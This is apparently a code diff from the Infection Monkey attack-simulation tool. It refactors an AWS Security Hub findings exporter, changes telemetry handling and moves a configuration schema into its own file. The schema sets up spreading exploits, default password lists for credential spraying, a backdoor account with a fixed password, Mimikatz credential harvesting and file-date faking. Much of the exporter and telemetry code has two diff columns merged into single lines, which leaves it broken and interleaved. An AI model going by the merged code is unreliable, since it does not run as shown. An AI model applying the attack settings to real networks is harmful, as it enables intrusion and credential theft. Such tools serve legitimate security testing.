finding["Resources"] = [{'Type': 'Other'}] machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_rdp_issue(issue, instance_arn): def _handle_rdp_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
issue['username']), "Remediation": {
"Recommendation": {
"Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(
}] issue['username']),
else: recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format(
finding["Resources"] = [{'Type': 'Other'}] machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_shared_passwords_domain_issue(issue, instance_arn): def _handle_shared_passwords_domain_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.",
"Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.",
"Remediation": {
"Recommendation": {
"Text": "These users are sharing access password: {shared_with}.".format(
shared_with=issue['shared_with'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Multiple users have the same password.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
}] recommendation="These users are sharing access password: {shared_with}.".format(
else: shared_with=issue['shared_with']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )
@staticmethod @staticmethod
def _handle_shared_admins_domain_issue(issue, instance_arn): def _handle_shared_admins_domain_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Shared local administrator account - Different machines have the same account as a local administrator.",
"Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
"Remediation": {
"Recommendation": {
"Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
username=issue['username'], shared_machines=issue['shared_machines'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Shared local administrator account - Different machines have the same account as a local administrator.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.",
}] recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format(
else: username=issue['username'], shared_machines=issue['shared_machines']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )
@staticmethod @staticmethod
def _handle_strong_users_on_crit_issue(issue, instance_arn): def _handle_strong_users_on_crit_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 1,
"Normalized": 100
}, "RecordState": "ACTIVE",
"Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
"Description": "This critical machine is open to attacks via strong users with access to it.",
"Remediation": {
"Recommendation": {
"Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
services=issue['services'], threatening_users=issue['threatening_users'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=1,
"Type": "AwsEc2Instance", title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="This critical machine is open to attacks via strong users with access to it.",
}] recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format(
else: services=issue['services'], threatening_users=issue['threatening_users']),
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )
@staticmethod @staticmethod
def _handle_struts2_issue(issue, instance_arn): def _handle_struts2_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.",
"Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": {
"Recommendation": {
"Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
machine=issue['machine'], ip_address=issue['ip_address'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Struts2 servers are vulnerable to remote code execution.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
}] recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
else: " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format(
finding["Resources"] = [{'Type': 'Other'}] machine=issue['machine'], ip_address=issue['ip_address']),
instance_arn=instance_arn,
return finding instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_weblogic_issue(issue, instance_arn): def _handle_weblogic_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.",
"Description": "Install Oracle critical patch updates. Or update to the latest version. " \
"Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
"Remediation": {
"Recommendation": {
"Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
machine=issue['machine'], ip_address=issue['ip_address'])
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Oracle WebLogic servers are vulnerable to remote code execution.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Install Oracle critical patch updates. Or update to the latest version. " \
}] "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
else: recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
finding["Resources"] = [{'Type': 'Other'}] " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format(
machine=issue['machine'], ip_address=issue['ip_address']),
return finding instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@staticmethod @staticmethod
def _handle_hadoop_issue(issue, instance_arn): def _handle_hadoop_issue(issue, instance_arn):
finding = \
{"Severity": {
"Product": 10,
"Normalized": 100
}, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.",
"Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": {
"Recommendation": {
"Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
" The attack was made possible due to default Hadoop/Yarn configuration being insecure."
}
}}
if 'aws_instance_id' in issue: return AWSExporter._build_generic_finding(
finding["Resources"] = [{ severity=10,
"Type": "AwsEc2Instance", title="Hadoop/Yarn servers are vulnerable to remote code execution.",
"Id": instance_arn.format(instance_id=issue['aws_instance_id']) description="Run Hadoop in secure mode, add Kerberos authentication.",
}] recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
else: "The attack was made possible due to default Hadoop/Yarn configuration being insecure.",
finding["Resources"] = [{'Type': 'Other'}] instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
return finding )

View File

@ -1,6 +1,4 @@
class Exporter(object):
class Exporter:
def __init__(self): def __init__(self):
pass pass

View File

@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def get_edge_by_scan_or_exploit_telemetry(telemetry_json): def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
dst_ip = telemetry_json['data']['machine']['ip_addr'] dst_ip = telemetry_json['data']['machine']['ip_addr']
dst_domain_name = telemetry_json['data']['machine']['domain_name']
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
dst_node = NodeService.get_monkey_by_ip(dst_ip) dst_node = NodeService.get_monkey_by_ip(dst_ip)
if dst_node is None: if dst_node is None:
dst_node = NodeService.get_or_create_node(dst_ip) dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
@ -144,30 +145,29 @@ class Telemetry(flask_restful.Resource):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = copy.deepcopy(telemetry_json['data']['machine']) data = copy.deepcopy(telemetry_json['data']['machine'])
ip_address = data.pop("ip_addr") ip_address = data.pop("ip_addr")
domain_name = data.pop("domain_name")
new_scan = \ new_scan = \
{ {
"timestamp": telemetry_json["timestamp"], "timestamp": telemetry_json["timestamp"],
"data": data, "data": data
"scanner": telemetry_json['data']['scanner']
} }
mongo.db.edge.update( mongo.db.edge.update(
{"_id": edge["_id"]}, {"_id": edge["_id"]},
{"$push": {"scans": new_scan}, {"$push": {"scans": new_scan},
"$set": {"ip_address": ip_address}} "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
) )
node = mongo.db.node.find_one({"_id": edge["to"]}) node = mongo.db.node.find_one({"_id": edge["to"]})
if node is not None: if node is not None:
if new_scan["scanner"] == "TcpScanner": scan_os = new_scan["data"]["os"]
scan_os = new_scan["data"]["os"] if "type" in scan_os:
if "type" in scan_os: mongo.db.node.update({"_id": node["_id"]},
mongo.db.node.update({"_id": node["_id"]}, {"$set": {"os.type": scan_os["type"]}},
{"$set": {"os.type": scan_os["type"]}}, upsert=False)
upsert=False) if "version" in scan_os:
if "version" in scan_os: mongo.db.node.update({"_id": node["_id"]},
mongo.db.node.update({"_id": node["_id"]}, {"$set": {"os.version": scan_os["version"]}},
{"$set": {"os.version": scan_os["version"]}}, upsert=False)
upsert=False)
@staticmethod @staticmethod
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):

View File

@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource):
{ {
'id': telem['_id'], 'id': telem['_id'],
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'], 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'),
'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
} }

View File

@ -9,890 +9,12 @@ from cc.database import mongo
from cc.encryptor import encryptor from cc.encryptor import encryptor
from cc.environment.environment import env from cc.environment.environment import env
from cc.utils import local_ip_addresses from cc.utils import local_ip_addresses
from config_schema import SCHEMA
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
"HTTPFinger"
],
"title": "HTTPFinger"
},
{
"type": "string",
"enum": [
"MySQLFinger"
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
"ElasticFinger"
],
"title": "ElasticFinger"
}
]
}
},
"properties": {
"basic": {
"title": "Basic - Credentials",
"type": "object",
"properties": {
"credentials": {
"title": "Credentials",
"type": "object",
"properties": {
"exploit_user_list": {
"title": "Exploit user list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Administrator",
"root",
"user"
],
"description": "List of usernames to use on exploits using credentials"
},
"exploit_password_list": {
"title": "Exploit password list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"Password1!",
"1234",
"password",
"12345678"
],
"description": "List of password to use on exploits using credentials"
}
}
}
}
},
"basic_network": {
"title": "Basic - Network",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"blocked_ips": {
"title": "Blocked IPs",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description": "List of IPs to not scan"
},
"local_network_scan": {
"title": "Local network scan",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey should scan its subnets additionally"
},
"depth": {
"title": "Distance from island",
"type": "integer",
"default": 2,
"description":
"Amount of hops allowed for the monkey to spread from the island. "
+ WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating too far"
},
"subnet_scan_list": {
"title": "Scan IP/subnet list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"List of IPs/subnets the monkey should scan."
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
}
}
},
"network_analysis": {
"title": "Network Analysis",
"type": "object",
"properties": {
"inaccessible_subnets": {
"title": "Network segmentation testing",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
],
"description":
"Test for network segmentation by providing a list of"
" subnets that should NOT be accessible to each other."
" For example, given the following configuration:"
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
" a Monkey running on 10.0.0.5 will try to access machines in the following"
" subnets: 11.0.0.2/32, 12.2.3.0/24."
" An alert on successful connections will be shown in the report"
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
}
}
}
}
},
"monkey": {
"title": "Monkey",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"alive": {
"title": "Alive",
"type": "boolean",
"default": True,
"description": "Is the monkey alive"
}
}
},
"behaviour": {
"title": "Behaviour",
"type": "object",
"properties": {
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
"default": False,
"description": "Should the monkey delete its executable when going down"
},
"use_file_logging": {
"title": "Use file logging",
"type": "boolean",
"default": True,
"description": "Should the monkey dump to a log file"
},
"serialize_config": {
"title": "Serialize config",
"type": "boolean",
"default": False,
"description": "Should the monkey dump its config on startup"
}
}
},
"system_info": {
"title": "System info",
"type": "object",
"properties": {
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
},
"collect_system_info": {
"title": "Collect system info",
"type": "boolean",
"default": True,
"description": "Determines whether to collect system info"
},
"should_use_mimikatz": {
"title": "Should use Mimikatz",
"type": "boolean",
"default": True,
"description": "Determines whether to use Mimikatz"
},
}
},
"life_cycle": {
"title": "Life cycle",
"type": "object",
"properties": {
"max_iterations": {
"title": "Max iterations",
"type": "integer",
"default": 1,
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
},
"victims_max_find": {
"title": "Max victims to find",
"type": "integer",
"default": 30,
"description": "Determines the maximum number of machines the monkey is allowed to scan"
},
"victims_max_exploit": {
"title": "Max victims to exploit",
"type": "integer",
"default": 7,
"description":
"Determines the maximum number of machines the monkey"
" is allowed to successfully exploit. " + WARNING_SIGN
+ " Note that setting this value too high may result in the monkey propagating to "
"a high number of machines"
},
"timeout_between_iterations": {
"title": "Wait time between iterations",
"type": "integer",
"default": 100,
"description":
"Determines for how long (in seconds) should the monkey wait between iterations"
},
"retry_failed_explotation": {
"title": "Retry failed exploitation",
"type": "boolean",
"default": True,
"description":
"Determines whether the monkey should retry exploiting machines"
" it didn't successfuly exploit on previous iterations"
}
}
}
}
},
"internal": {
"title": "Internal",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"singleton_mutex_name": {
"title": "Singleton mutex name",
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description":
"The name of the mutex used to determine whether the monkey is already running"
},
"keep_tunnel_open_time": {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
"classes": {
"title": "Classes",
"type": "object",
"properties": {
"scanner_class": {
"title": "Scanner class",
"type": "string",
"default": "TcpScanner",
"enum": [
"TcpScanner"
],
"enumNames": [
"TcpScanner"
],
"description": "Determines class to scan for machines. (Shouldn't be changed)"
},
"finger_classes": {
"title": "Fingerprint classes",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/finger_classes"
},
"default": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
}
}
},
"kill_file": {
"title": "Kill file",
"type": "object",
"properties": {
"kill_file_path_windows": {
"title": "Kill file path on Windows",
"type": "string",
"default": "%windir%\\monkey.not",
"description": "Path of file which kills monkey if it exists (on Windows)"
},
"kill_file_path_linux": {
"title": "Kill file path on Linux",
"type": "string",
"default": "/var/run/monkey.not",
"description": "Path of file which kills monkey if it exists (on Linux)"
}
}
},
"dropper": {
"title": "Dropper",
"type": "object",
"properties": {
"dropper_set_date": {
"title": "Dropper sets date",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should set the monkey's file date to be the same as"
" another file"
},
"dropper_date_reference_path_windows": {
"title": "Dropper date reference path (Windows)",
"type": "string",
"default": "%windir%\\system32\\kernel32.dll",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Windows (use fullpath)"
},
"dropper_date_reference_path_linux": {
"title": "Dropper date reference path (Linux)",
"type": "string",
"default": "/bin/sh",
"description":
"Determines which file the dropper should copy the date from if it's configured to do"
" so on Linux (use fullpath)"
},
"dropper_target_path_linux": {
"title": "Dropper target path on Linux",
"type": "string",
"default": "/tmp/monkey",
"description": "Determines where should the dropper place the monkey on a Linux machine"
},
"dropper_target_path_win_32": {
"title": "Dropper target path on Windows (32bit)",
"type": "string",
"default": "C:\\Windows\\monkey32.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(32bit)"
},
"dropper_target_path_win_64": {
"title": "Dropper target path on Windows (64bit)",
"type": "string",
"default": "C:\\Windows\\monkey64.exe",
"description": "Determines where should the dropper place the monkey on a Windows machine "
"(64 bit)"
},
"dropper_try_move_first": {
"title": "Try to move first",
"type": "boolean",
"default": True,
"description":
"Determines whether the dropper should try to move itsel instead of copying itself"
" to target path"
}
}
},
"logging": {
"title": "Logging",
"type": "object",
"properties": {
"dropper_log_path_linux": {
"title": "Dropper log file path on Linux",
"type": "string",
"default": "/tmp/user-1562",
"description": "The fullpath of the dropper log file on Linux"
},
"dropper_log_path_windows": {
"title": "Dropper log file path on Windows",
"type": "string",
"default": "%temp%\\~df1562.tmp",
"description": "The fullpath of the dropper log file on Windows"
},
"monkey_log_path_linux": {
"title": "Monkey log file path on Linux",
"type": "string",
"default": "/tmp/user-1563",
"description": "The fullpath of the monkey log file on Linux"
},
"monkey_log_path_windows": {
"title": "Monkey log file path on Windows",
"type": "string",
"default": "%temp%\\~df1563.tmp",
"description": "The fullpath of the monkey log file on Windows"
},
"send_log_to_server": {
"title": "Send log to server",
"type": "boolean",
"default": True,
"description": "Determines whether the monkey sends its log to the Monkey Island server"
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"exploit_lm_hash_list": {
"title": "Exploit LM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of LM hashes to use on exploits using credentials"
},
"exploit_ntlm_hash_list": {
"title": "Exploit NTLM hash list",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
}
}
},
"cnc": {
"title": "Monkey Island",
"type": "object",
"properties": {
"servers": {
"title": "Servers",
"type": "object",
"properties": {
"command_servers": {
"title": "Command servers",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
"internet_services": {
"title": "Internet services",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"monkey.guardicore.com",
"www.google.com"
],
"description":
"List of internet services to try and communicate with to determine internet"
" connectivity (use either ip or domain)"
},
"current_server": {
"title": "Current server",
"type": "string",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
},
'aws_config': {
'title': 'AWS Configuration',
'type': 'object',
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
'properties': {
'aws_account_id': {
'title': 'AWS account ID',
'type': 'string',
'description': 'Your AWS account ID that is subscribed to security hub feeds',
'default': ""
},
'aws_access_key_id': {
'title': 'AWS access key ID',
'type': 'string',
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
'default': ""
},
'aws_secret_access_key': {
'title': 'AWS secret access key',
'type': 'string',
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
'default': ""
}
}
}
}
},
"exploits": {
"title": "Exploits",
"type": "object",
"properties": {
"general": {
"title": "General",
"type": "object",
"properties": {
"exploiter_classes": {
"title": "Exploits",
"type": "array",
"uniqueItems": True,
"items": {
"$ref": "#/definitions/exploiter_classes"
},
"default": [
"SmbExploiter",
"WmiExploiter",
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
},
"skip_exploit_if_file_exist": {
"title": "Skip exploit if file exists",
"type": "boolean",
"default": False,
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
" is already on the remote machine"
}
}
},
"ms08_067": {
"title": "MS08_067",
"type": "object",
"properties": {
"ms08_067_exploit_attempts": {
"title": "MS08_067 exploit attempts",
"type": "integer",
"default": 5,
"description": "Number of attempts to exploit using MS08_067"
},
"ms08_067_remote_user_add": {
"title": "MS08_067 remote user",
"type": "string",
"default": "Monkey_IUSER_SUPPORT",
"description": "Username to add on successful exploit"
},
"ms08_067_remote_user_pass": {
"title": "MS08_067 remote user password",
"type": "string",
"default": "Password1!",
"description": "Password to use for created user"
}
}
},
"rdp_grinder": {
"title": "RDP grinder",
"type": "object",
"properties": {
"rdp_use_vbs_download": {
"title": "Use VBS download",
"type": "boolean",
"default": True,
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
" (true=VBS, false=BITS)"
}
}
},
"sambacry": {
"title": "SambaCry",
"type": "object",
"properties": {
"sambacry_trigger_timeout": {
"title": "SambaCry trigger timeout",
"type": "integer",
"default": 5,
"description": "Timeout (in seconds) of SambaCry trigger"
},
"sambacry_folder_paths_to_guess": {
"title": "SambaCry folder paths to guess",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
'/',
'/mnt',
'/tmp',
'/storage',
'/export',
'/share',
'/shares',
'/home'
],
"description": "List of full paths to share folder for SambaCry to guess"
},
"sambacry_shares_not_to_check": {
"title": "SambaCry shares not to check",
"type": "array",
"uniqueItems": True,
"items": {
"type": "string"
},
"default": [
"IPC$", "print$"
],
"description": "These shares won't be checked when exploiting with SambaCry"
}
}
},
"smb_service": {
"title": "SMB service",
"type": "object",
"properties": {
"smb_download_timeout": {
"title": "SMB download timeout",
"type": "integer",
"default": 300,
"description":
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
},
"smb_service_name": {
"title": "SMB service name",
"type": "string",
"default": "InfectionMonkey",
"description": "Name of the SMB service that will be set up to download monkey"
}
}
}
}
},
"network": {
"title": "Network",
"type": "object",
"properties": {
"tcp_scanner": {
"title": "TCP scanner",
"type": "object",
"properties": {
"HTTP_PORTS": {
"title": "HTTP ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
80,
8080,
443,
8008,
7001
],
"description": "List of ports the monkey will check if are being used for HTTP"
},
"tcp_target_ports": {
"title": "TCP target ports",
"type": "array",
"uniqueItems": True,
"items": {
"type": "integer"
},
"default": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
],
"description": "List of TCP ports the monkey will check whether they're open"
},
"tcp_scan_interval": {
"title": "TCP scan interval",
"type": "integer",
"default": 200,
"description": "Time to sleep (in milliseconds) between scans"
},
"tcp_scan_timeout": {
"title": "TCP scan timeout",
"type": "integer",
"default": 3000,
"description": "Maximum time (in milliseconds) to wait for TCP response"
},
"tcp_scan_get_banner": {
"title": "TCP scan - get banner",
"type": "boolean",
"default": True,
"description": "Determines whether the TCP scan should try to get the banner"
}
}
},
"ping_scanner": {
"title": "Ping scanner",
"type": "object",
"properties": {
"ping_scan_timeout": {
"title": "Ping scan timeout",
"type": "integer",
"default": 1000,
"description": "Maximum time (in milliseconds) to wait for ping response"
}
}
}
}
},
},
"options": {
"collapsed": True
}
}
# This should be used for config values of array type (array of strings only) # This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \ ENCRYPTED_CONFIG_ARRAYS = \

View File

@ -0,0 +1,900 @@
WARNING_SIGN = u" \u26A0"
SCHEMA = {
"title": "Monkey",
"type": "object",
"definitions": {
"exploiter_classes": {
"title": "Exploit class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SmbExploiter"
],
"title": "SMB Exploiter"
},
{
"type": "string",
"enum": [
"WmiExploiter"
],
"title": "WMI Exploiter"
},
{
"type": "string",
"enum": [
"MSSQLExploiter"
],
"title": "MSSQL Exploiter"
},
{
"type": "string",
"enum": [
"RdpExploiter"
],
"title": "RDP Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"Ms08_067_Exploiter"
],
"title": "MS08-067 Exploiter (UNSAFE)"
},
{
"type": "string",
"enum": [
"SSHExploiter"
],
"title": "SSH Exploiter"
},
{
"type": "string",
"enum": [
"ShellShockExploiter"
],
"title": "ShellShock Exploiter"
},
{
"type": "string",
"enum": [
"SambaCryExploiter"
],
"title": "SambaCry Exploiter"
},
{
"type": "string",
"enum": [
"ElasticGroovyExploiter"
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
},
{
"type": "string",
"enum": [
"WebLogicExploiter"
],
"title": "Oracle Web Logic Exploiter"
},
{
"type": "string",
"enum": [
"HadoopExploiter"
],
"title": "Hadoop/Yarn Exploiter"
}
]
},
"post_breach_acts": {
"title": "Post breach actions",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"BackdoorUser"
],
"title": "Back door user",
},
],
},
"finger_classes": {
"title": "Fingerprint class",
"type": "string",
"anyOf": [
{
"type": "string",
"enum": [
"SMBFinger"
],
"title": "SMBFinger"
},
{
"type": "string",
"enum": [
"SSHFinger"
],
"title": "SSHFinger"
},
{
"type": "string",
"enum": [
"PingScanner"
],
"title": "PingScanner"
},
{
"type": "string",
"enum": [
